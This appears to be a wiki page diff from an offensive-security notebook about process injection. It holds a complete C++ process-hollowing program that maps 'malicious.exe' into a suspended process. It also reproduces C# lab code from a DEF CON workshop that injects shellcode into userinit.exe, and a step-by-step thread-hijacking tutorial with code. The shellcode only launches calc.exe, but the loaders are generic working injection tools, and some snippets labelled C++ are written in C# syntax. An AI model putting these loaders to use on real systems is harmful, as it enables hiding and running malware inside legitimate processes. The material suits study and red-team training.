// Move the file pointer to the NT headers | // Move the file pointer to the NT headers | ||
if (SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) | if (SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) | ||
return false; | return false; | ||
// Read the NT headers | // Read the NT headers | ||
IMAGE_NT_HEADERS ntHeaders; | IMAGE_NT_HEADERS ntHeaders; | ||
if (!ReadFile(hFile, &ntHeaders, sizeof(IMAGE_NT_HEADERS), &bytesRead, NULL) || bytesRead != sizeof(IMAGE_NT_HEADERS)) | if (!ReadFile(hFile, &ntHeaders, sizeof(IMAGE_NT_HEADERS), &bytesRead, NULL) || bytesRead != sizeof(IMAGE_NT_HEADERS)) | ||
return false; | return false; | ||
// Verify the NT signature | // Verify the NT signature | ||
if (ntHeaders.Signature != IMAGE_NT_SIGNATURE) | if (ntHeaders.Signature != IMAGE_NT_SIGNATURE) | ||
return false; | return false; | ||
// Allocate memory for the NT headers and copy the data | // Allocate memory for the NT headers and copy the data | ||
*ppNtHeaders = (PIMAGE_NT_HEADERS)malloc(sizeof(IMAGE_NT_HEADERS)); | *ppNtHeaders = (PIMAGE_NT_HEADERS)malloc(sizeof(IMAGE_NT_HEADERS)); | ||
| Line 1,397: | Line 1,105: | ||
return false; | return false; | ||
memcpy(*ppNtHeaders, &ntHeaders, sizeof(IMAGE_NT_HEADERS)); | memcpy(*ppNtHeaders, &ntHeaders, sizeof(IMAGE_NT_HEADERS)); | ||
return true; | return true; | ||
} | } | ||
// Function to un-map legitimate code from process memory | // Function to un-map legitimate code from process memory | ||
bool UnmapImage(HANDLE hProcess, PIMAGE_NT_HEADERS pNtHeaders) { | bool UnmapImage(HANDLE hProcess, PIMAGE_NT_HEADERS pNtHeaders) { | ||
// Calculate the base address of the image | // Calculate the base address of the image | ||
LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase; | LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase; | ||
// Unmap the image from process memory | // Unmap the image from process memory | ||
if (!VirtualFreeEx(hProcess, baseAddress, 0, MEM_RELEASE)) | if (!VirtualFreeEx(hProcess, baseAddress, 0, MEM_RELEASE)) | ||
return false; | return false; | ||
return true; | return true; | ||
} | } | ||
// Function to map sections of the malicious image into process memory | // Function to map sections of the malicious image into process memory | ||
bool MapSections(HANDLE hProcess, HANDLE hFile, PIMAGE_DOS_HEADER pDosHeader, PIMAGE_NT_HEADERS pNtHeaders) { | bool MapSections(HANDLE hProcess, HANDLE hFile, PIMAGE_DOS_HEADER pDosHeader, PIMAGE_NT_HEADERS pNtHeaders) { | ||
// Calculate the base address of the image | // Calculate the base address of the image | ||
LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase; | LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase; | ||
// Iterate over each section in the image | // Iterate over each section in the image | ||
IMAGE_SECTION_HEADER* pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); | IMAGE_SECTION_HEADER* pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); | ||
| Line 1,424: | Line 1,126: | ||
LPVOID sectionAddress = (LPVOID)((DWORD)baseAddress + pSectionHeader[i].VirtualAddress); | LPVOID sectionAddress = (LPVOID)((DWORD)baseAddress + pSectionHeader[i].VirtualAddress); | ||
SIZE_T sectionSize = pSectionHeader[i].Misc.VirtualSize; | SIZE_T sectionSize = pSectionHeader[i].Misc.VirtualSize; | ||
// Allocate memory for the section in the target process | // Allocate memory for the section in the target process | ||
LPVOID remoteMemory = VirtualAllocEx(hProcess, sectionAddress, sectionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); | LPVOID remoteMemory = VirtualAllocEx(hProcess, sectionAddress, sectionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); | ||
if (remoteMemory == NULL) | if (remoteMemory == NULL) | ||
return false; | return false; | ||
// Read the section data from the file | // Read the section data from the file | ||
DWORD bytesRead; | DWORD bytesRead; | ||
| Line 1,435: | Line 1,135: | ||
return false; | return false; | ||
} | } | ||
return true; | return true; | ||
} | } | ||
// Function to set the entry point for the malicious code | // Function to set the entry point for the malicious code | ||
void SetEntryPoint(HANDLE hProcess, PIMAGE_NT_HEADERS pNtHeaders) { | void SetEntryPoint(HANDLE hProcess, PIMAGE_NT_HEADERS pNtHeaders) { | ||
// Calculate the base address of the image | // Calculate the base address of the image | ||
LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase; | LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase; | ||
// Calculate the entry point address | // Calculate the entry point address | ||
LPVOID entryPoint = (LPVOID)((DWORD)baseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint); | LPVOID entryPoint = (LPVOID)((DWORD)baseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint); | ||
// Update the thread context to set the new entry point | // Update the thread context to set the new entry point | ||
CONTEXT context; | CONTEXT context; | ||
| Line 1,454: | Line 1,150: | ||
SetThreadContext(hProcess, &context); | SetThreadContext(hProcess, &context); | ||
} | } | ||
int main() { | int main() { | ||
// Step 1: Create a target process in a suspended state | // Step 1: Create a target process in a suspended state | ||
| Line 1,463: | Line 1,158: | ||
return 1; | return 1; | ||
} | } | ||
// Step 2: Open the malicious image file | // Step 2: Open the malicious image file | ||
HANDLE hFile = CreateFileA("malicious.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); | HANDLE hFile = CreateFileA("malicious.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); | ||
| Line 1,471: | Line 1,165: | ||
return 1; | return 1; | ||
} | } | ||
// Step 3: Read the headers of the malicious image | // Step 3: Read the headers of the malicious image | ||
PIMAGE_DOS_HEADER pDosHeader = NULL; | PIMAGE_DOS_HEADER pDosHeader = NULL; | ||
| Line 1,481: | Line 1,174: | ||
return 1; | return 1; | ||
} | } | ||
// Step 4: Unmap legitimate code from process memory | // Step 4: Unmap legitimate code from process memory | ||
if (!UnmapImage(processInfo.hProcess, pNtHeaders)) { | if (!UnmapImage(processInfo.hProcess, pNtHeaders)) { | ||
| Line 1,489: | Line 1,181: | ||
return 1; | return 1; | ||
} | } | ||
// Step 5: Map sections of the malicious image into process memory | // Step 5: Map sections of the malicious image into process memory | ||
if (!MapSections(processInfo.hProcess, hFile, pDosHeader, pNtHeaders)) { | if (!MapSections(processInfo.hProcess, hFile, pDosHeader, pNtHeaders)) { | ||
| Line 1,497: | Line 1,188: | ||
return 1; | return 1; | ||
} | } | ||
// Step 6: Set the entry point for the malicious code | // Step 6: Set the entry point for the malicious code | ||
SetEntryPoint(processInfo.hProcess, pNtHeaders); | SetEntryPoint(processInfo.hProcess, pNtHeaders); | ||
// Resume the target process to execute the malicious code | // Resume the target process to execute the malicious code | ||
if (ResumeThread(processInfo.hThread) == -1) { | if (ResumeThread(processInfo.hThread) == -1) { | ||
| Line 1,508: | Line 1,197: | ||
return 1; | return 1; | ||
} | } | ||
std::cout << "Process hollowing completed successfully!" << std::endl; | std::cout << "Process hollowing completed successfully!" << std::endl; | ||
// Cleanup | // Cleanup | ||
CloseHandle(hFile); | CloseHandle(hFile); | ||
CloseHandle(processInfo.hThread); | CloseHandle(processInfo.hThread); | ||
CloseHandle(processInfo.hProcess); | CloseHandle(processInfo.hProcess); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== C# process hollowing from defcon27 === | === C# process hollowing from defcon27 === | ||
See "Defcon - Writing custom backdoor payloads with C#" above for more info. | See "Defcon - Writing custom backdoor payloads with C#" above for more info. | ||
[https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7 defcon27_csharp_workshop/Labs/lab7 at master · mvelazc0/defcon27_csharp_workshop · GitHub] | [https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7 defcon27_csharp_workshop/Labs/lab7 at master · mvelazc0/defcon27_csharp_workshop · GitHub] | ||
==== Lab 1 - Starting and suspending a process ==== | ==== Lab 1 - Starting and suspending a process ==== | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 1,537: | Line 1,218: | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
using System.Threading; | using System.Threading; | ||
public class Program | public class Program | ||
{ | { | ||
// P/Invoke declarations for kernel32.dll functions | // P/Invoke declarations for kernel32.dll functions | ||
// Opens an existing thread object | // Opens an existing thread object | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId); | static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId); | ||
// Suspends the execution of a thread | // Suspends the execution of a thread | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern uint SuspendThread(IntPtr hThread); | static extern uint SuspendThread(IntPtr hThread); | ||
// Resumes the execution of a thread | // Resumes the execution of a thread | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern int ResumeThread(IntPtr hThread); | static extern int ResumeThread(IntPtr hThread); | ||
// Constant value for thread access rights | // Constant value for thread access rights | ||
private static UInt32 SUSPEND_RESUME = 0x0002; | private static UInt32 SUSPEND_RESUME = 0x0002; | ||
public static void Main() | public static void Main() | ||
{ | { | ||
// Specify the process to start | // Specify the process to start | ||
string proc = "msiexec.exe"; | string proc = "msiexec.exe"; | ||
// Start the specified process | // Start the specified process | ||
Process newproc = Process.Start(proc); | Process newproc = Process.Start(proc); | ||
Console.WriteLine("Started " + proc + " with Process Id: " + newproc.Id); | Console.WriteLine("Started " + proc + " with Process Id: " + newproc.Id); | ||
Console.WriteLine("Press any key to suspend the process ..."); | Console.WriteLine("Press any key to suspend the process ..."); | ||
Console.ReadKey(); | Console.ReadKey(); | ||
Console.WriteLine("Suspending process..."); | Console.WriteLine("Suspending process..."); | ||
// Iterate over each thread in the process | // Iterate over each thread in the process | ||
foreach (ProcessThread thread in newproc.Threads) | foreach (ProcessThread thread in newproc.Threads) | ||
| Line 1,576: | Line 1,247: | ||
// Open the thread to get a handle | // Open the thread to get a handle | ||
IntPtr pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id); | IntPtr pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id); | ||
// If the thread handle is invalid, break the loop | // If the thread handle is invalid, break the loop | ||
if (pOpenThread == IntPtr.Zero) | if (pOpenThread == IntPtr.Zero) | ||
| Line 1,582: | Line 1,252: | ||
break; | break; | ||
} | } | ||
// Suspend the thread's execution | // Suspend the thread's execution | ||
SuspendThread(pOpenThread); | SuspendThread(pOpenThread); | ||
} | } | ||
Console.WriteLine("Suspended!"); | Console.WriteLine("Suspended!"); | ||
Console.WriteLine("Press any key to resume the process ..."); | Console.WriteLine("Press any key to resume the process ..."); | ||
Console.ReadKey(); | Console.ReadKey(); | ||
Console.WriteLine("Resuming process..."); | Console.WriteLine("Resuming process..."); | ||
// Iterate over each thread in the process again | // Iterate over each thread in the process again | ||
foreach (ProcessThread thread in newproc.Threads) | foreach (ProcessThread thread in newproc.Threads) | ||
| Line 1,598: | Line 1,264: | ||
// Open the thread to get a handle | // Open the thread to get a handle | ||
IntPtr pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id); | IntPtr pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id); | ||
// If the thread handle is invalid, break the loop | // If the thread handle is invalid, break the loop | ||
if (pOpenThread == IntPtr.Zero) | if (pOpenThread == IntPtr.Zero) | ||
| Line 1,604: | Line 1,269: | ||
break; | break; | ||
} | } | ||
// Resume the thread's execution | // Resume the thread's execution | ||
ResumeThread(pOpenThread); | ResumeThread(pOpenThread); | ||
| Line 1,611: | Line 1,275: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Lab 2 - Getting a shell ==== | ==== Lab 2 - Getting a shell ==== | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 1,624: | Line 1,285: | ||
using System.Text; | using System.Text; | ||
using System.Threading; | using System.Threading; | ||
public class Program | public class Program | ||
{ | { | ||
| Line 1,633: | Line 1,293: | ||
const int PROCESS_VM_WRITE = 0x0020; | const int PROCESS_VM_WRITE = 0x0020; | ||
const int PROCESS_VM_READ = 0x0010; | const int PROCESS_VM_READ = 0x0010; | ||
// Importing necessary functions from kernel32.dll and ntdll.dll | // Importing necessary functions from kernel32.dll and ntdll.dll | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId); | static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern uint SuspendThread(IntPtr hThread); | static extern uint SuspendThread(IntPtr hThread); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern int ResumeThread(IntPtr hThread); | static extern int ResumeThread(IntPtr hThread); | ||
[DllImport("ntdll.dll", SetLastError = true)] | [DllImport("ntdll.dll", SetLastError = true)] | ||
private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress); | private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | ||
[DllImport("kernel32")] | [DllImport("kernel32")] | ||
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten); | public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten); | ||
// Constants for memory allocation and protection | // Constants for memory allocation and protection | ||
private static UInt32 MEM_COMMIT = 0x1000; | private static UInt32 MEM_COMMIT = 0x1000; | ||
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; | ||
private static UInt32 SUSPEND_RESUME = 0x0002; | private static UInt32 SUSPEND_RESUME = 0x0002; | ||
public static void Main() | public static void Main() | ||
{ | { | ||
| Line 1,683: | Line 1,332: | ||
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 | 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 | ||
}; | }; | ||
string proc = "userinit.exe"; | string proc = "userinit.exe"; | ||
// Start the target process | // Start the target process | ||
Process newproc; | Process newproc; | ||
| Line 1,691: | Line 1,338: | ||
Console.WriteLine("Started " + proc + " with Process Id:" + newproc.Id); | Console.WriteLine("Started " + proc + " with Process Id:" + newproc.Id); | ||
Console.WriteLine("Suspending process..."); | Console.WriteLine("Suspending process..."); | ||
// Suspend all threads in the process | // Suspend all threads in the process | ||
foreach (ProcessThread thread in newproc.Threads) | foreach (ProcessThread thread in newproc.Threads) | ||
| Line 1,704: | Line 1,350: | ||
} | } | ||
Console.WriteLine("Suspended!"); | Console.WriteLine("Suspended!"); | ||
// Open the target process | // Open the target process | ||
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id); | IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id); | ||
// Allocate memory in the target process | // Allocate memory in the target process | ||
IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | ||
Console.WriteLine("Allocating memory"); | Console.WriteLine("Allocating memory"); | ||
// Write the shellcode into the allocated memory | // Write the shellcode into the allocated memory | ||
WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0); | WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0); | ||
Console.WriteLine("Copied shellcode in memory"); | Console.WriteLine("Copied shellcode in memory"); | ||
// Create a remote thread in the target process to execute the shellcode | // Create a remote thread in the target process to execute the shellcode | ||
IntPtr pinfo = IntPtr.Zero; | IntPtr pinfo = IntPtr.Zero; | ||
| Line 1,721: | Line 1,363: | ||
Console.WriteLine("Created remote thread"); | Console.WriteLine("Created remote thread"); | ||
Console.WriteLine("Resuming process..."); | Console.WriteLine("Resuming process..."); | ||
// Resume all threads in the process | // Resume all threads in the process | ||
foreach (ProcessThread thread in newproc.Threads) | foreach (ProcessThread thread in newproc.Threads) | ||
| Line 1,736: | Line 1,377: | ||
} | } | ||
} | } | ||
In this code, the following external libraries are used: | In this code, the following external libraries are used: | ||
- `System.Diagnostics`: It provides classes for interacting with system processes, such as starting and monitoring processes. | - `System.Diagnostics`: It provides classes for interacting with system processes, such as starting and monitoring processes. | ||
- `System.Runtime.InteropServices`: It provides interop services for calling unmanaged code. | - `System.Runtime.InteropServices`: It provides interop services for calling unmanaged code. | ||
The code performs the following actions: | The code performs the following actions: | ||
1. Defines constants for process access rights: | 1. Defines constants for process access rights: | ||
- `PROCESS_CREATE_THREAD`: Required to create a thread. | - `PROCESS_CREATE_THREAD`: Required to create a thread. | ||
| Line 1,749: | Line 1,387: | ||
- `PROCESS_VM_WRITE`: Required to write to the process's memory. | - `PROCESS_VM_WRITE`: Required to write to the process's memory. | ||
- `PROCESS_VM_READ`: Required to read from the process's memory. | - `PROCESS_VM_READ`: Required to read from the process's memory. | ||
2. Imports external functions from Windows kernel32.dll and ntdll.dll using the `DllImport` attribute. These functions are used for low-level operations on processes and threads: | 2. Imports external functions from Windows kernel32.dll and ntdll.dll using the `DllImport` attribute. These functions are used for low-level operations on processes and threads: | ||
- `OpenThread`: Opens an existing thread object for access. | - `OpenThread`: Opens an existing thread object for access. | ||
| Line 1,760: | Line 1,397: | ||
- `WaitForSingleObject`: Waits until the specified object is in the signaled state or the time-out interval elapses. | - `WaitForSingleObject`: Waits until the specified object is in the signaled state or the time-out interval elapses. | ||
- `WriteProcessMemory`: Writes data to an area of memory in a specified process. | - `WriteProcessMemory`: Writes data to an area of memory in a specified process. | ||
3. Defines constants for memory allocation and protection: | 3. Defines constants for memory allocation and protection: | ||
- `MEM_COMMIT`: Allocates memory and initializes it with zeroes. | - `MEM_COMMIT`: Allocates memory and initializes it with zeroes. | ||
- `PAGE_EXECUTE_READWRITE`: Enables read, write, and execute access to the allocated memory. | - `PAGE_EXECUTE_READWRITE`: Enables read, write, and execute access to the allocated memory. | ||
- `SUSPEND_RESUME`: Access rights required to suspend/resume a thread. | - `SUSPEND_RESUME`: Access rights required to suspend/resume a thread. | ||
4. Defines the `Main` method, which is the entry point of the program. | 4. Defines the `Main` method, which is the entry point of the program. | ||
5. Contains a byte array `shellcode` that represents the payload to be injected into the target process. The shellcode contains machine code instructions for executing the `calc.exe` calculator program. | 5. Contains a byte array `shellcode` that represents the payload to be injected into the target process. The shellcode contains machine code instructions for executing the `calc.exe` calculator program. | ||
6. Sets the target process name to "userinit.exe". | 6. Sets the target process name to "userinit.exe". | ||
7. Starts the target process using `Process.Start(proc)`, where `proc` is the process name. | 7. Starts the target process using `Process.Start(proc)`, where `proc` is the process name. | ||
8. Suspends all threads in the target process by iterating over the `Threads` collection of the `newproc` object and calling `OpenThread` and `SuspendThread` for each thread. | 8. Suspends all threads in the target process by iterating over the `Threads` collection of the `newproc` object and calling `OpenThread` and `SuspendThread` for each thread. | ||
9. Opens the target process using `OpenProcess` to obtain a handle for subsequent operations. | 9. Opens the target process using `OpenProcess` to obtain a handle for subsequent operations. | ||
10. Allocates memory in the target process using `VirtualAllocEx` and assigns the address of the allocated memory to `spaceAddr`. | 10. Allocates memory in the target process using `VirtualAllocEx` and assigns the address of the allocated memory to `spaceAddr`. | ||
11. Writes the shellcode into the allocated memory of the target process using `WriteProcessMemory`. | 11. Writes the shellcode into the allocated memory of the target process using `WriteProcessMemory`. | ||
12. Creates a remote thread in the target process using `CreateRemoteThread`, which starts the execution of the shellcode. | 12. Creates a remote thread in the target process using `CreateRemoteThread`, which starts the execution of the shellcode. | ||
13. Resumes all threads in the target process by iterating over the `Threads` collection of the `newproc` object and calling `OpenThread` and `ResumeThread` for each thread. | 13. Resumes all threads in the target process by iterating over the `Threads` collection of the `newproc` object and calling `OpenThread` and `ResumeThread` for each thread. | ||
The result is that the `calc.exe` calculator program will be injected and executed within the context of the target process specified by `userinit.exe`. | The result is that the `calc.exe` calculator program will be injected and executed within the context of the target process specified by `userinit.exe`. | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Thread (execution) hijacking == | == Thread (execution) hijacking == | ||
Thread hijacking is a technique used to take control of a running thread within a process and make it execute malicious code instead of its original instructions. | Thread hijacking is a technique used to take control of a running thread within a process and make it execute malicious code instead of its original instructions. | ||
In simpler terms, thread hijacking is like sneaking into a factory, finding a worker, briefly freezing them, changing their tasks, and watching them unknowingly carry out a harmful action according to your new instructions. | In simpler terms, thread hijacking is like sneaking into a factory, finding a worker, briefly freezing them, changing their tasks, and watching them unknowingly carry out a harmful action according to your new instructions. | ||
At a high-level thread (execution) hijacking can be broken up into eleven steps: | At a high-level thread (execution) hijacking can be broken up into eleven steps: | ||
* Locate and open a target process to control. | * Locate and open a target process to control. | ||
* Allocate memory region for malicious code. | * Allocate memory region for malicious code. | ||
* Write malicious code to allocated memory. | * Write malicious code to allocated memory. | ||
* Identify the thread ID of the target thread to hijack. | * Identify the thread ID of the target thread to hijack. | ||
* Open the target thread. | * Open the target thread. | ||
* Suspend the target thread. | * Suspend the target thread. | ||
* Obtain the thread context. | * Obtain the thread context. | ||
* Update the instruction pointer to the malicious code. | * Update the instruction pointer to the malicious code. | ||
* Rewrite the target thread context. | * Rewrite the target thread context. | ||
* Resume the hijacked thread. | * Resume the hijacked thread. | ||
* Opening the process: Imagine you want to control a locked room. To gain access, you first need to open the door. Similarly, in thread hijacking, you open the process you want to control using functions like <code>OpenProcess</code> in C# or <code>OpenProcess</code> in C++. | * Opening the process: Imagine you want to control a locked room. To gain access, you first need to open the door. Similarly, in thread hijacking, you open the process you want to control using functions like <code>OpenProcess</code> in C# or <code>OpenProcess</code> in C++. | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
| Line 1,843: | Line 1,451: | ||
processId // The ID of the target process | processId // The ID of the target process | ||
); | ); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
2. Allocating memory: Once you're inside the room, you need a place to write your secret message. In thread hijacking, you allocate a region in the process's memory using functions like <code>VirtualAllocEx</code> in C# or <code>VirtualAllocEx</code> in C++. | 2. Allocating memory: Once you're inside the room, you need a place to write your secret message. In thread hijacking, you allocate a region in the process's memory using functions like <code>VirtualAllocEx</code> in C# or <code>VirtualAllocEx</code> in C++. | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
| Line 1,858: | Line 1,463: | ||
MemoryProtection.ExecuteReadWrite // Enables execution and read/write access | MemoryProtection.ExecuteReadWrite // Enables execution and read/write access | ||
); | ); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
3. Writing malicious code: Now, you write your secret message on the allocated space. Similarly, in thread hijacking, you write your malicious code to the allocated memory using functions like <code>WriteProcessMemory</code> in C# or <code>WriteProcessMemory</code> in C++. | 3. Writing malicious code: Now, you write your secret message on the allocated space. Similarly, in thread hijacking, you write your malicious code to the allocated memory using functions like <code>WriteProcessMemory</code> in C# or <code>WriteProcessMemory</code> in C++. | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
| Line 1,873: | Line 1,475: | ||
out _ // Ignored in this example | out _ // Ignored in this example | ||
); | ); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
4. Identifying the target thread: Imagine there are many workers in the room, and you want to control a specific worker. In thread hijacking, you identify the target thread within the process using functions like <code>CreateToolhelp32Snapshot</code>, <code>Thread32First</code>, and <code>Thread32Next</code> in C# or C++. | 4. Identifying the target thread: Imagine there are many workers in the room, and you want to control a specific worker. In thread hijacking, you identify the target thread within the process using functions like <code>CreateToolhelp32Snapshot</code>, <code>Thread32First</code>, and <code>Thread32Next</code> in C# or C++. | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
THREADENTRY32 threadEntry = new THREADENTRY32(); | THREADENTRY32 threadEntry = new THREADENTRY32(); | ||
IntPtr hSnapshot = CreateToolhelp32Snapshot( | IntPtr hSnapshot = CreateToolhelp32Snapshot( | ||
SnapshotFlags.Thread, // Snapshot of all threads | SnapshotFlags.Thread, // Snapshot of all threads | ||
processId // ID of the target process | processId // ID of the target process | ||
); | ); | ||
Thread32First( | Thread32First( | ||
hSnapshot, | hSnapshot, | ||
ref threadEntry | ref threadEntry | ||
); | ); | ||
while (Thread32Next( | while (Thread32Next( | ||
hSnapshot, | hSnapshot, | ||
| Line 1,907: | Line 1,503: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
5. Opening the target thread: Once you have identified the target worker (thread), you need to approach and communicate with them. In thread hijacking, you open the target thread using functions like <code>OpenThread</code> in C# or C++. | 5. Opening the target thread: Once you have identified the target worker (thread), you need to approach and communicate with them. In thread hijacking, you open the target thread using functions like <code>OpenThread</code> in C# or C++. | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
| Line 1,920: | Line 1,513: | ||
threadEntry.th32ThreadID // ID of the target thread | threadEntry.th32ThreadID // ID of the target thread | ||
); | ); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
6. Suspending the target thread: To prevent the worker (thread) from executing their original instructions, you temporarily pause them. In thread hijacking, you suspend the target thread using functions like <code>SuspendThread</code> in C# or C++. | 6. Suspending the target thread: To prevent the worker (thread) from executing their original instructions, you temporarily pause them. In thread hijacking, you suspend the target thread using functions like <code>SuspendThread</code> in C# or C++. | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
SuspendThread(hThread); | SuspendThread(hThread); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
7. Obtaining the thread context: While the worker (thread) is paused, you gather important information about their current state. In thread hijacking, you obtain the thread context using functions like <code>GetThreadContext</code> in C# or C++. | 7. Obtaining the thread context: While the worker (thread) is paused, you gather important information about their current state. In thread hijacking, you obtain the thread context using functions like <code>GetThreadContext</code> in C# or C++. | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
CONTEXT context = new CONTEXT(); | CONTEXT context = new CONTEXT(); | ||
context.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL; | context.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL; | ||
GetThreadContext( | GetThreadContext( | ||
hThread, | hThread, | ||
ref context | ref context | ||
); | ); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
8. Overwriting the instruction pointer (IP): The instruction pointer determines the next instruction for the worker (thread). In thread hijacking, you update the thread context to overwrite the instruction pointer and redirect it to your malicious code. | 8. Overwriting the instruction pointer (IP): The instruction pointer determines the next instruction for the worker (thread). In thread hijacking, you update the thread context to overwrite the instruction pointer and redirect it to your malicious code. | ||
Note that <code>context.Rip</code> is for x86_64 process architecture. While <code>context.Eip</code> is for 32-bit x86 process architecutre. | Note that <code>context.Rip</code> is for x86_64 process architecture. While <code>context.Eip</code> is for 32-bit x86 process architecutre. | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
context.Rip = (ulong)remoteBuffer; // Set RIP to the address of the malicious code | context.Rip = (ulong)remoteBuffer; // Set RIP to the address of the malicious code | ||
</syntaxhighlight> | </syntaxhighlight> | ||
